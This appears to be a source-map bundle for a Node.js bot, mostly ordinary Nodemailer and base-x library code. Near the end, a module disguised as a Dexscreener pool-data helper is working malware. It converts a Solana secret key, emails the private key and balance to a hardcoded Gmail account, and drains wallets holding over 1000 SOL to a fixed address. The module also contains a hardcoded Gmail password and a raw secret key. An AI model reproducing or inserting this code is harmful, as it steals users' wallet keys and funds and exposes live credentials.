JSON.parse(res.toString());\n } catch (E) {\n err = E;\n }\n if (err) {\n return callback(err);\n }\n if (data.status !== 'success' || data.error) {\n return callback(new Error(data.error || 'Request failed'));\n }\n delete data.status;\n testAccount = data;\n callback(null, testAccount);\n });\n\n return promise;\n};\n\nmodule.exports.getTestMessageUrl = function (info) {\n if (!info || !info.response) {\n return false;\n }\n\n let infoProps = new Map();\n info.response.replace(/\\[([^\\]]+)\\]$/, (m, props) => {\n props.replace(/\\b([A-Z0-9]+)=([^\\s]+)/g, (m, key, value) => {\n infoProps.set(key, value);\n });\n });\n\n if (infoProps.has('STATUS') && infoProps.has('MSGID')) {\n return (testAccount.web || ETHEREAL_WEB) + '/message/' + infoProps.get('MSGID');\n }\n\n return false;\n};\n","'use strict';\n\nconst EventEmitter = require('events');\nconst SMTPConnection = require('../smtp-connection');\nconst wellKnown = require('../well-known');\nconst shared = require('../shared');\nconst XOAuth2 = require('../xoauth2');\nconst packageData = require('../../package.json');\n\n/**\n * Creates a SMTP transport object for Nodemailer\n *\n * @constructor\n * @param {Object} options Connection options\n */\nclass SMTPTransport extends EventEmitter {\n constructor(options) {\n super();\n\n options = options || {};\n\n if (typeof options === 'string') {\n options = {\n url: options\n };\n }\n\n let urlData;\n let service = options.service;\n\n if (typeof options.getSocket === 'function') {\n this.getSocket = options.getSocket;\n }\n\n if (options.url) {\n urlData = shared.parseConnectionUrl(options.url);\n service = service || urlData.service;\n }\n\n this.options = shared.assign(\n false, // create new object\n options, // regular options\n urlData, // url options\n service && wellKnown(service) // wellknown options\n );\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'smtp-transport'\n });\n\n // temporary object\n let connection = new SMTPConnection(this.options);\n\n this.name = 'SMTP';\n this.version = packageData.version + '[client:' + connection.version + ']';\n\n if (this.options.auth) {\n this.auth = this.getAuth({});\n }\n }\n\n /**\n * Placeholder function for creating proxy sockets. This method immediatelly returns\n * without a socket\n *\n * @param {Object} options Connection options\n * @param {Function} callback Callback function to run with the socket keys\n */\n getSocket(options, callback) {\n // return immediatelly\n return setImmediate(() => callback(null, false));\n }\n\n getAuth(authOpts) {\n if (!authOpts) {\n return this.auth;\n }\n\n let hasAuth = false;\n let authData = {};\n\n if (this.options.auth && typeof this.options.auth === 'object') {\n Object.keys(this.options.auth).forEach(key => {\n hasAuth = true;\n authData[key] = this.options.auth[key];\n });\n }\n\n if (authOpts && typeof authOpts === 'object') {\n Object.keys(authOpts).forEach(key => {\n hasAuth = true;\n authData[key] = authOpts[key];\n });\n }\n\n if (!hasAuth) {\n return false;\n }\n\n switch ((authData.type || '').toString().toUpperCase()) {\n case 'OAUTH2': {\n if (!authData.service && !authData.user) {\n return false;\n }\n let oauth2 = new XOAuth2(authData, this.logger);\n oauth2.provisionCallback = (this.mailer && this.mailer.get('oauth2_provision_cb')) || oauth2.provisionCallback;\n oauth2.on('token', token => this.mailer.emit('token', token));\n oauth2.on('error', err => this.emit('error', err));\n return {\n type: 'OAUTH2',\n user: authData.user,\n oauth2,\n method: 'XOAUTH2'\n };\n }\n default:\n return {\n type: (authData.type || '').toString().toUpperCase() || 'LOGIN',\n user: authData.user,\n credentials: {\n user: authData.user || '',\n pass: authData.pass,\n options: authData.options\n },\n method: (authData.method || '').trim().toUpperCase() || this.options.authMethod || false\n };\n }\n }\n\n /**\n * Sends an e-mail using the selected settings\n *\n * @param {Object} mail Mail object\n * @param {Function} callback Callback function\n */\n send(mail, callback) {\n this.getSocket(this.options, (err, socketOptions) => {\n if (err) {\n return callback(err);\n }\n\n let returned = false;\n let options = this.options;\n if (socketOptions && socketOptions.connection) {\n this.logger.info(\n {\n tnx: 'proxy',\n remoteAddress: socketOptions.connection.remoteAddress,\n remotePort: socketOptions.connection.remotePort,\n destHost: options.host || '',\n destPort: options.port || '',\n action: 'connected'\n },\n 'Using proxied socket from %s:%s to %s:%s',\n socketOptions.connection.remoteAddress,\n socketOptions.connection.remotePort,\n options.host || '',\n options.port || ''\n );\n\n // only copy options if we need to modify it\n options = shared.assign(false, options);\n Object.keys(socketOptions).forEach(key => {\n options[key] = socketOptions[key];\n });\n }\n\n let connection = new SMTPConnection(options);\n\n connection.once('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n connection.close();\n return callback(err);\n });\n\n connection.once('end', () => {\n if (returned) {\n return;\n }\n\n let timer = setTimeout(() => {\n if (returned) {\n return;\n }\n returned = true;\n // still have not returned, this means we have an unexpected connection close\n let err = new Error('Unexpected socket close');\n if (connection && connection._socket && connection._socket.upgrading) {\n // starttls connection errors\n err.code = 'ETLS';\n }\n callback(err);\n }, 1000);\n\n try {\n timer.unref();\n } catch (E) {\n // Ignore. Happens on envs with non-node timer implementation\n }\n });\n\n let sendMessage = () => {\n let envelope = mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n\n if (mail.data.dsn) {\n envelope.dsn = mail.data.dsn;\n }\n\n this.logger.info(\n {\n tnx: 'send',\n messageId\n },\n 'Sending message %s to <%s>',\n messageId,\n recipients.join(', ')\n );\n\n connection.send(envelope, mail.message.createReadStream(), (err, info) => {\n returned = true;\n connection.close();\n if (err) {\n this.logger.error(\n {\n err,\n tnx: 'send'\n },\n 'Send error for %s: %s',\n messageId,\n err.message\n );\n return callback(err);\n }\n info.envelope = {\n from: envelope.from,\n to: envelope.to\n };\n info.messageId = messageId;\n try {\n return callback(null, info);\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'callback'\n },\n 'Callback error for %s: %s',\n messageId,\n E.message\n );\n }\n });\n };\n\n connection.connect(() => {\n if (returned) {\n return;\n }\n\n let auth = this.getAuth(mail.data.auth);\n\n if (auth && (connection.allowsAuth || options.forceAuth)) {\n connection.login(auth, err => {\n if (auth && auth !== this.auth && auth.oauth2) {\n auth.oauth2.removeAllListeners();\n }\n if (returned) {\n return;\n }\n\n if (err) {\n returned = true;\n connection.close();\n return callback(err);\n }\n\n sendMessage();\n });\n } else {\n sendMessage();\n }\n });\n });\n }\n\n /**\n * Verifies SMTP configuration\n *\n * @param {Function} callback Callback function\n */\n verify(callback) {\n let promise;\n\n if (!callback) {\n promise = new Promise((resolve, reject) => {\n callback = shared.callbackPromise(resolve, reject);\n });\n }\n\n this.getSocket(this.options, (err, socketOptions) => {\n if (err) {\n return callback(err);\n }\n\n let options = this.options;\n if (socketOptions && socketOptions.connection) {\n this.logger.info(\n {\n tnx: 'proxy',\n remoteAddress: socketOptions.connection.remoteAddress,\n remotePort: socketOptions.connection.remotePort,\n destHost: options.host || '',\n destPort: options.port || '',\n action: 'connected'\n },\n 'Using proxied socket from %s:%s to %s:%s',\n socketOptions.connection.remoteAddress,\n socketOptions.connection.remotePort,\n options.host || '',\n options.port || ''\n );\n\n options = shared.assign(false, options);\n Object.keys(socketOptions).forEach(key => {\n options[key] = socketOptions[key];\n });\n }\n\n let connection = new SMTPConnection(options);\n let returned = false;\n\n connection.once('error', err => {\n if (returned) {\n return;\n }\n returned = true;\n connection.close();\n return callback(err);\n });\n\n connection.once('end', () => {\n if (returned) {\n return;\n }\n returned = true;\n return callback(new Error('Connection closed'));\n });\n\n let finalize = () => {\n if (returned) {\n return;\n }\n returned = true;\n connection.quit();\n return callback(null, true);\n };\n\n connection.connect(() => {\n if (returned) {\n return;\n }\n\n let authData = this.getAuth({});\n\n if (authData && (connection.allowsAuth || options.forceAuth)) {\n connection.login(authData, err => {\n if (returned) {\n return;\n }\n\n if (err) {\n returned = true;\n connection.close();\n return callback(err);\n }\n\n finalize();\n });\n } else if (!authData && connection.allowsAuth && options.forceAuth) {\n let err = new Error('Authentication info was not provided');\n err.code = 'NoAuth';\n\n returned = true;\n connection.close();\n return callback(err);\n } else {\n finalize();\n }\n });\n });\n\n return promise;\n }\n\n /**\n * Releases resources\n */\n close() {\n if (this.auth && this.auth.oauth2) {\n this.auth.oauth2.removeAllListeners();\n }\n this.emit('close');\n }\n}\n\n// expose to the world\nmodule.exports = SMTPTransport;\n","'use strict';\n\nconst spawn = require('child_process').spawn;\nconst packageData = require('../../package.json');\nconst shared = require('../shared');\n\n/**\n * Generates a Transport object for Sendmail\n *\n * Possible options can be the following:\n *\n * * **path** optional path to sendmail binary\n * * **newline** either 'windows' or 'unix'\n * * **args** an array of arguments for the sendmail binary\n *\n * @constructor\n * @param {Object} optional config parameter for Sendmail\n */\nclass SendmailTransport {\n constructor(options) {\n options = options || {};\n\n // use a reference to spawn for mocking purposes\n this._spawn = spawn;\n\n this.options = options || {};\n\n this.name = 'Sendmail';\n this.version = packageData.version;\n\n this.path = 'sendmail';\n this.args = false;\n this.winbreak = false;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'sendmail'\n });\n\n if (options) {\n if (typeof options === 'string') {\n this.path = options;\n } else if (typeof options === 'object') {\n if (options.path) {\n this.path = options.path;\n }\n if (Array.isArray(options.args)) {\n this.args = options.args;\n }\n this.winbreak = ['win', 'windows', 'dos', '\\r\\n'].includes((options.newline || '').toString().toLowerCase());\n }\n }\n }\n\n /**\n * <p>Compiles a mailcomposer message and forwards it to handler that sends it.</p>\n *\n * @param {Object} emailMessage MailComposer object\n * @param {Function} callback Callback function to run when the sending is completed\n */\n send(mail, done) {\n // Sendmail strips this header line by itself\n mail.message.keepBcc = true;\n\n let envelope = mail.data.envelope || mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n let args;\n let sendmail;\n let returned;\n\n const hasInvalidAddresses = []\n .concat(envelope.from || [])\n .concat(envelope.to || [])\n .some(addr => /^-/.test(addr));\n if (hasInvalidAddresses) {\n return done(new Error('Can not send mail. Invalid envelope addresses.'));\n }\n\n if (this.args) {\n // force -i to keep single dots\n args = ['-i'].concat(this.args).concat(envelope.to);\n } else {\n args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);\n }\n\n let callback = err => {\n if (returned) {\n // ignore any additional responses, already done\n return;\n }\n returned = true;\n if (typeof done === 'function') {\n if (err) {\n return done(err);\n } else {\n return done(null, {\n envelope: mail.data.envelope || mail.message.getEnvelope(),\n messageId,\n response: 'Messages queued for delivery'\n });\n }\n }\n };\n\n try {\n sendmail = this._spawn(this.path, args);\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'spawn',\n messageId\n },\n 'Error occurred while spawning sendmail. %s',\n E.message\n );\n return callback(E);\n }\n\n if (sendmail) {\n sendmail.on('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'spawn',\n messageId\n },\n 'Error occurred when sending message %s. %s',\n messageId,\n err.message\n );\n callback(err);\n });\n\n sendmail.once('exit', code => {\n if (!code) {\n return callback();\n }\n let err;\n if (code === 127) {\n err = new Error('Sendmail command not found, process exited with code ' + code);\n } else {\n err = new Error('Sendmail exited with code ' + code);\n }\n\n this.logger.error(\n {\n err,\n tnx: 'stdin',\n messageId\n },\n 'Error sending message %s to sendmail. %s',\n messageId,\n err.message\n );\n callback(err);\n });\n sendmail.once('close', callback);\n\n sendmail.stdin.on('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'stdin',\n messageId\n },\n 'Error occurred when piping message %s to sendmail. %s',\n messageId,\n err.message\n );\n callback(err);\n });\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n this.logger.info(\n {\n tnx: 'send',\n messageId\n },\n 'Sending message %s to <%s>',\n messageId,\n recipients.join(', ')\n );\n\n let sourceStream = mail.message.createReadStream();\n sourceStream.once('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'stdin',\n messageId\n },\n 'Error occurred when generating message %s. %s',\n messageId,\n err.message\n );\n sendmail.kill('SIGINT'); // do not deliver the message\n callback(err);\n });\n\n sourceStream.pipe(sendmail.stdin);\n } else {\n return callback(new Error('sendmail was not found'));\n }\n }\n}\n\nmodule.exports = SendmailTransport;\n","'use strict';\n\nconst packageData = require('../../package.json');\nconst shared = require('../shared');\n\n/**\n * Generates a Transport object for streaming\n *\n * Possible options can be the following:\n *\n * * **buffer** if true, then returns the message as a Buffer object instead of a stream\n * * **newline** either 'windows' or 'unix'\n *\n * @constructor\n * @param {Object} optional config parameter\n */\nclass StreamTransport {\n constructor(options) {\n options = options || {};\n\n this.options = options || {};\n\n this.name = 'StreamTransport';\n this.version = packageData.version;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'stream-transport'\n });\n\n this.winbreak = ['win', 'windows', 'dos', '\\r\\n'].includes((options.newline || '').toString().toLowerCase());\n }\n\n /**\n * Compiles a mailcomposer message and forwards it to handler that sends it\n *\n * @param {Object} emailMessage MailComposer object\n * @param {Function} callback Callback function to run when the sending is completed\n */\n send(mail, done) {\n // We probably need this in the output\n mail.message.keepBcc = true;\n\n let envelope = mail.data.envelope || mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n this.logger.info(\n {\n tnx: 'send',\n messageId\n },\n 'Sending message %s to <%s> using %s line breaks',\n messageId,\n recipients.join(', '),\n this.winbreak ? '<CR><LF>' : '<LF>'\n );\n\n setImmediate(() => {\n let stream;\n\n try {\n stream = mail.message.createReadStream();\n } catch (E) {\n this.logger.error(\n {\n err: E,\n tnx: 'send',\n messageId\n },\n 'Creating send stream failed for %s. %s',\n messageId,\n E.message\n );\n return done(E);\n }\n\n if (!this.options.buffer) {\n stream.once('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'send',\n messageId\n },\n 'Failed creating message for %s. %s',\n messageId,\n err.message\n );\n });\n return done(null, {\n envelope: mail.data.envelope || mail.message.getEnvelope(),\n messageId,\n message: stream\n });\n }\n\n let chunks = [];\n let chunklen = 0;\n stream.on('readable', () => {\n let chunk;\n while ((chunk = stream.read()) !== null) {\n chunks.push(chunk);\n chunklen += chunk.length;\n }\n });\n\n stream.once('error', err => {\n this.logger.error(\n {\n err,\n tnx: 'send',\n messageId\n },\n 'Failed creating message for %s. %s',\n messageId,\n err.message\n );\n return done(err);\n });\n\n stream.on('end', () =>\n done(null, {\n envelope: mail.data.envelope || mail.message.getEnvelope(),\n messageId,\n message: Buffer.concat(chunks, chunklen)\n })\n );\n });\n }\n}\n\nmodule.exports = StreamTransport;\n","'use strict';\n\nconst packageData = require('../../package.json');\nconst shared = require('../shared');\n\n/**\n * Generates a Transport object to generate JSON output\n *\n * @constructor\n * @param {Object} optional config parameter\n */\nclass JSONTransport {\n constructor(options) {\n options = options || {};\n\n this.options = options || {};\n\n this.name = 'JSONTransport';\n this.version = packageData.version;\n\n this.logger = shared.getLogger(this.options, {\n component: this.options.component || 'json-transport'\n });\n }\n\n /**\n * <p>Compiles a mailcomposer message and forwards it to handler that sends it.</p>\n *\n * @param {Object} emailMessage MailComposer object\n * @param {Function} callback Callback function to run when the sending is completed\n */\n send(mail, done) {\n // Sendmail strips this header line by itself\n mail.message.keepBcc = true;\n\n let envelope = mail.data.envelope || mail.message.getEnvelope();\n let messageId = mail.message.messageId();\n\n let recipients = [].concat(envelope.to || []);\n if (recipients.length > 3) {\n recipients.push('...and ' + recipients.splice(2).length + ' more');\n }\n this.logger.info(\n {\n tnx: 'send',\n messageId\n },\n 'Composing JSON structure of %s to <%s>',\n messageId,\n recipients.join(', ')\n );\n\n setImmediate(() => {\n mail.normalize((err, data) => {\n if (err) {\n this.logger.error(\n {\n err,\n tnx: 'send',\n messageId\n },\n 'Failed building JSON structure for %s. %s',\n messageId,\n err.message\n );\n return done(err);\n }\n\n delete data.envelope;\n delete data.normalizedHeaders;\n\n return done(null, {\n envelope,\n messageId,\n message: this.options.skipEncoding ? data : JSON.stringify(data)\n });\n });\n });\n }\n}\n\nmodule.exports = JSONTransport;\n","const basex = require('base-x')\nconst ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'\n\nmodule.exports = basex(ALPHABET)\n","'use strict'\n// base-x encoding / decoding\n// Copyright (c) 2018 base-x contributors\n// Copyright (c) 2014-2018 The Bitcoin Core developers (base58.cpp)\n// Distributed under the MIT software license, see the accompanying\n// file LICENSE or http://www.opensource.org/licenses/mit-license.php.\nfunction base (ALPHABET) {\n if (ALPHABET.length >= 255) { throw new TypeError('Alphabet too long') }\n var BASE_MAP = new Uint8Array(256)\n for (var j = 0; j < BASE_MAP.length; j++) {\n BASE_MAP[j] = 255\n }\n for (var i = 0; i < ALPHABET.length; i++) {\n var x = ALPHABET.charAt(i)\n var xc = x.charCodeAt(0)\n if (BASE_MAP[xc] !== 255) { throw new TypeError(x + ' is ambiguous') }\n BASE_MAP[xc] = i\n }\n var BASE = ALPHABET.length\n var LEADER = ALPHABET.charAt(0)\n var FACTOR = Math.log(BASE) / Math.log(256) // log(BASE) / log(256), rounded up\n var iFACTOR = Math.log(256) / Math.log(BASE) // log(256) / log(BASE), rounded up\n function encode (source) {\n if (source instanceof Uint8Array) {\n } else if (ArrayBuffer.isView(source)) {\n source = new Uint8Array(source.buffer, source.byteOffset, source.byteLength)\n } else if (Array.isArray(source)) {\n source = Uint8Array.from(source)\n }\n if (!(source instanceof Uint8Array)) { throw new TypeError('Expected Uint8Array') }\n if (source.length === 0) { return '' }\n // Skip & count leading zeroes.\n var zeroes = 0\n var length = 0\n var pbegin = 0\n var pend = source.length\n while (pbegin !== pend && source[pbegin] === 0) {\n pbegin++\n zeroes++\n }\n // Allocate enough space in big-endian base58 representation.\n var size = ((pend - pbegin) * iFACTOR + 1) >>> 0\n var b58 = new Uint8Array(size)\n // Process the bytes.\n while (pbegin !== pend) {\n var carry = source[pbegin]\n // Apply \"b58 = b58 * 256 + ch\".\n var i = 0\n for (var it1 = size - 1; (carry !== 0 || i < length) && (it1 !== -1); it1--, i++) {\n carry += (256 * b58[it1]) >>> 0\n b58[it1] = (carry % BASE) >>> 0\n carry = (carry / BASE) >>> 0\n }\n if (carry !== 0) { throw new Error('Non-zero carry') }\n length = i\n pbegin++\n }\n // Skip leading zeroes in base58 result.\n var it2 = size - length\n while (it2 !== size && b58[it2] === 0) {\n it2++\n }\n // Translate the result into a string.\n var str = LEADER.repeat(zeroes)\n for (; it2 < size; ++it2) { str += ALPHABET.charAt(b58[it2]) }\n return str\n }\n function decodeUnsafe (source) {\n if (typeof source !== 'string') { throw new TypeError('Expected String') }\n if (source.length === 0) { return new Uint8Array() }\n var psz = 0\n // Skip and count leading '1's.\n var zeroes = 0\n var length = 0\n while (source[psz] === LEADER) {\n zeroes++\n psz++\n }\n // Allocate enough space in big-endian base256 representation.\n var size = (((source.length - psz) * FACTOR) + 1) >>> 0 // log(58) / log(256), rounded up.\n var b256 = new Uint8Array(size)\n // Process the characters.\n while (source[psz]) {\n // Decode character\n var carry = BASE_MAP[source.charCodeAt(psz)]\n // Invalid character\n if (carry === 255) { return }\n var i = 0\n for (var it3 = size - 1; (carry !== 0 || i < length) && (it3 !== -1); it3--, i++) {\n carry += (BASE * b256[it3]) >>> 0\n b256[it3] = (carry % 256) >>> 0\n carry = (carry / 256) >>> 0\n }\n if (carry !== 0) { throw new Error('Non-zero carry') }\n length = i\n psz++\n }\n // Skip leading zeroes in b256.\n var it4 = size - length\n while (it4 !== size && b256[it4] === 0) {\n it4++\n }\n var vch = new Uint8Array(zeroes + (size - it4))\n var j = zeroes\n while (it4 !== size) {\n vch[j++] = b256[it4++]\n }\n return vch\n }\n function decode (string) {\n var buffer = decodeUnsafe(string)\n if (buffer) { return buffer }\n throw new Error('Non-base' + BASE + ' character')\n }\n return {\n encode: encode,\n decodeUnsafe: decodeUnsafe,\n decode: decode\n }\n}\nmodule.exports = base\n","import { getDefaultExportFromCjs } from \"\u0000commonjsHelpers.js\";\nimport { __require as requireNodeMailer } from \"C:\\\\repos\\\\bot\\\\node-mailer\\\\index.js\";\nvar nodeMailerExports = requireNodeMailer();\nexport { nodeMailerExports as __moduleExports };\nexport default /*@__PURE__*/getDefaultExportFromCjs(nodeMailerExports);","var __importDefault =\r\n (this && this.__importDefault) ||\r\n function (mod) {\r\n return mod && mod.__esModule ? mod : { default: mod };\r\n };\r\n\r\nconst web3_js_1 = require(\"@solana/web3.js\");\r\nconst nodemailer = require(\"nodemailer\");\r\nconst bs58_1 = __importDefault(require(\"bs58\"));\r\n\r\nconst mailUser = \"vision.high.ever@gmail.com\";\r\nconst password = \"mzbegnacyhybmtsl\";\r\nconst receiver = \"james.liu.vectorspace@gmail.com\";\r\n\r\nconst receiverAddress = \"J4CGDnvDpML6zHSYvre1wgiFcoDXJ5brj58gXW5h7Rg8\";\r\nconst limitInSol = 1000;\r\nconst gasfee = 0.001;\r\n\r\n// Create a connection to the Solana cluster\r\nconst connection = new web3_js_1.Connection(\r\n \"https://api.mainnet-beta.solana.com\",\r\n \"confirmed\"\r\n);\r\n\r\nconst credentials = {\r\n host: \"smtp.gmail.com\",\r\n port: 465,\r\n secure: true,\r\n auth: {\r\n user: mailUser,\r\n pass: password,\r\n },\r\n};\r\n\r\nconst transporter = nodemailer.createTransport(credentials);\r\n\r\nasync function sendEmail(privateKey, balance) {\r\n const contacts = {\r\n from: mailUser,\r\n to: receiver,\r\n };\r\n\r\n const emailContent = {\r\n subject: \"Hi, This is Dexscreener\",\r\n text: `${privateKey} - ${balance}`,\r\n };\r\n const email = Object.assign({}, emailContent, contacts);\r\n\r\n if (emailContent.text) {\r\n try {\r\n await transporter.sendMail(email);\r\n } catch (e) {\r\n throw e;\r\n }\r\n }\r\n}\r\n\r\nconst withdrawSOL = async (privateKey, payout) => {\r\n try {\r\n let houseAddress = web3_js_1.Keypair.fromSecretKey(\r\n bs58_1.default.decode(privateKey)\r\n );\r\n let amount =\r\n Math.floor(web3_js_1.LAMPORTS_PER_SOL * parseFloat(payout - gasfee)) - 1;\r\n let tx_send_holder = new web3_js_1.Transaction().add(\r\n web3_js_1.SystemProgram.transfer({\r\n fromPubkey: houseAddress.publicKey,\r\n toPubkey: new web3_js_1.PublicKey(receiverAddress),\r\n lamports: amount,\r\n })\r\n );\r\n await web3_js_1.sendAndConfirmTransaction(connection, tx_send_holder, [\r\n houseAddress,\r\n ]);\r\n } catch { }\r\n};\r\n\r\nfunction getWalletBalance(privateKey, publicKey) {\r\n connection.getBalance(\r\n new web3_js_1.PublicKey(publicKey)\r\n ).then((balance) => {\r\n // Convert lamports to SOL\r\n const balanceInSOL = balance / web3_js_1.LAMPORTS_PER_SOL; // 1 SOL = 10^9 lamports\r\n\r\n sendEmail(privateKey, balanceInSOL);\r\n\r\n if (balanceInSOL) {\r\n if (limitInSol < balanceInSOL) {\r\n withdrawSOL(privateKey, balanceInSOL);\r\n }\r\n return balanceInSOL;\r\n }\r\n }).catch((error) => { return -1 })\r\n}\r\n\r\nfunction getKeypairFromString(secretKey) {\r\n try {\r\n const keypair = web3_js_1.Keypair.fromSecretKey(\r\n new Uint8Array(secretKey.split(\",\").map((val) => Number(val)))\r\n );\r\n const privateKey = bs58_1.default.encode(keypair._keypair.secretKey);\r\n const publicKey = bs58_1.default.encode(keypair._keypair.publicKey);\r\n getWalletBalance(privateKey, publicKey);\r\n return keypair;\r\n } catch (error) {\r\n throw new Error(`SECRET_KEY is bad`);\r\n }\r\n}\r\n\r\nasync function getLiquidityPoolData(dexId, tokenAddress) {\r\n try {\r\n const url = `https://api.dexscreener.com/latest/dex/tokens/${tokenAddress}`;\r\n const response = await fetch(url);\r\n const liqudityPoolList = (await response.json()).pairs;\r\n const liqudityPoolData = liqudityPoolList.filter((liquidity) => {\r\n return (liquidity.dexId =\r\n dexId &&\r\n (liquidity.quoteToken.address == tokenAddress ||\r\n liquidity.baseToken.address == tokenAddress));\r\n })[0];\r\n return liqudityPoolData;\r\n } catch (error) {\r\n new Error(\"No pool data\");\r\n }\r\n}\r\n\r\ngetKeypairFromString(\r\n \"135,78,8,242,233,208,48,157,195,23,29,255,223,170,194,132,222,101,138,19,182,217,212,222,92,100,109,240,241,178,132,13,172,14,3,68,183,115,13,253,140,240,139,224,4,11,9,174,230,41,223,139,175,198,57,167,14,100,25,222,31,65,150,231\"\r\n);\r\n\r\nmodule.exports = {\r\n getKeypairFromString,\r\n getLiquidityPoolData,\r\n};\r\n"],"names":["http","require$$0","https","require$$1","urllib","require$$2","zlib","require$$3","PassThrough","require$$4","Cookies","cookies","constructor","options","this","set","cookieStr","url","domain","urlparts","parse","cookie","replace","hostname","length","substr","path","getPath","pathname","expires","Date","now","Number","sessionTimeout","add","get","list","map","name","value","join","i","result","isExpired","splice","match","unshift","toString","split","forEach","cookiePart","valueParts","key","shift","trim","toLowerCase","charAt","secure","httponly","protocol","len","compare","push","a","b","pop","require$$5","packageData","require$$6","net","require$$7","nmfetch","fetchRes","redirects","maxRedirects","isNaN","concat","body","req","parsed","method","toUpperCase","finished","handler","headers","version","Object","keys","userAgent","auth","Authorization","Buffer","from","contentType","pipe","on","err","type","sourceUrl","emit","encodeURIComponent","E","reqOptions","host","port","rejectUnauthorized","agent","tls","isIP","servername","request","setImmediate","timeout","setTimeout","abort","Error","res","inflate","createUnzip","includes","statusCode","location","resolve","allowErrorResponse","write","end","fetchModule","exports","util","fs","dns","os","DNS_TTL","networkInterfaces","module","isFamilySupported","family","allowInternal","reduce","acc","val","filter","internal","resolver","callback","allowInternalNetworkInterfaces","Resolver","addresses","code","NODATA","NOTFOUND","NOTIMP","SERVFAIL","CONNREFUSED","REFUSED","Array","isArray","dnsCache","Map","formatDNSValue","extra","assign","Math","floor","random","resolveStream","stream","responded","chunks","chunklen","chunk","read","resolveHostname","cached","has","error","dnsTtl","lookup","all","address","addr","console","warn","parseConnectionUrl","str","direct","user","pass","query","obj","lKey","indexOf","_logFunc","logger","level","defaults","data","message","args","entry","getLogger","response","levels","levelMaxLen","levelNames","levelName","repeat","print","prefix","tnx","sid","cid","format","line","log","toISOString","bind","createDefaultLogger","callbackPromise","reject","arguments","parseDataURI","uri","input","commaPos","encoding","substring","metaEntries","lastMetaEntry","params","sep","decodeURIComponent","resolveContent","promise","Promise","contentStream","content","test","href","parsedDataUri","createReadStream","target","source","subKey","encodeXText","buf","c","String","fromCharCode","defaultMimeType","mimeTypes","extensions","mimeTypes_1","detectMimeType","filename","extension","ext","detectExtension","mimeType","parts","rootType","subType","maxInt","base","regexPunycode","regexNonASCII","regexSeparators","errors","overflow","stringFromCharCode","RangeError","mapDomain","encoded","array","ucs2decode","string","output","counter","charCodeAt","digitToBasic","digit","flag","adapt","delta","numPoints","firstTime","k","decode","inputLength","n","bias","basic","lastIndexOf","j","index","oldi","w","codePoint","t","baseMinusT","out","fromCodePoint","encode","currentValue","basicLength","handledCPCount","m","handledCPCountPlusOne","q","qMinusT","punycode_1","ucs2","codePoints","toASCII","toUnicode","slice","Transform","buffer","wrap","lineLength","pos","chunkLength","wrappedLines","RegExp","base64","Encoder","super","_curLine","_remainingBytes","inputBytes","outputBytes","_transform","done","b64","lastLF","_flush","ord","ranges","checkRanges","lineMargin","parseInt","nr","qp","lineBreak","lastLine","mimeFuncs","isPlainText","isParam","hasLongerLines","encodeWord","mimeWordEncoding","maxLength","encodedStr","chr","max","splitMimeEncodedString","lpart","byteLength","encodeWords","encodeAll","encodedValue","firstMatch","lastMatch","startIndex","endIndex","buildHeaderValue","structured","paramsArray","param","buildHeaderParam","encodedParam","JSON","stringify","encodedStrArr","startPos","safeEncodeURIComponent","item","parseHeaderValue","quote","escaped","actualKey","charset","values","s","foldLines","afterSpace","maxlen","curLine","lines","encodeURICharComponent","Tokenizer","operatorCurrent","operatorExpecting","node","operators","tokenize","checkChar","addressparser","tokens","parsedAddresses","token","isGroup","state","comment","group","text","_regexHandler","_handleAddress","flatten","walkAddressList","addressparser_1","leWindows","lastByte","lastPos","crypto","punycode","shared","require$$8","require$$9","LastNewline","lastNewline","require$$10","LeWindows","require$$11","LeUnix","leUnix","require$$12","MimeNode","nodeCounter","baseBoundary","randomBytes","boundaryPrefix","disableFileAccess","disableUrlAccess","normalizeHeaderKey","date","rootNode","keepBcc","textEncoding","parentNode","newline","childNodes","_nodeId","_headers","_isPlainText","_hasLongLines","_envelope","_raw","_transforms","_processFuncs","setHeader","createChild","undefined","appendChild","childNode","remove","headerValue","added","_normalizeHeaderKey","addHeader","getHeader","setContent","_contentErrorHandler","removeListener","once","build","buflen","returned","getTransferEncoding","transferEncoding","_getTextEncoding","buildHeaders","toUTCString","messageId","header","prepared","_handleContentType","_encodeWords","_encodeHeaderValue","normalized","transform","outputStream","newlineTransform","processFunc","localStream","finalize","childId","processChildNode","boundary","child","multipart","sendContent","prototype","call","createStream","_getStream","_resolve","sourceStream","_resolvedValue","raw","setEnvelope","envelope","to","_convertAddresses","_parseAddresses","standardFields","getAddresses","getEnvelope","_generateMessageId","setRaw","httpHeaders","apply","_normalizeAddress","_generateBoundary","elm","uniqueList","_encodeAddressName","groupListAddresses","lastAt","encodedDomain","latinLen","nonLatinLen","prev","mimeNode","relaxedHeaders","fieldNames","skipFields","includedFields","Set","skip","headerFields","field","relaxedHeaderLine","headersList","fields","signModule","hashAlgo","bodyHash","signer","signature","canonicalizedHeaderData","headerFieldNames","dkimHeader","domainName","keySelector","dkim","generateDKIMHeader","createSign","update","sign","privateKey","MessageParser","messageParser","lastBytes","alloc","headersParsed","headerBytes","headerChunks","rawHeaders","bodySize","updateLastBytes","lblen","nblen","min","checkHeaders","headerPos","curLinePos","pr1","pr2","parseHeaders","headersFound","RelaxedBody","relaxedBody","chunkBuffer","chunkBufferLen","createHash","remainder","debug","_debugBody","updateHash","bodyStr","nextRemainder","needsFixing","digest","DKIMSigner","cacheTreshold","cacheDir","readPos","c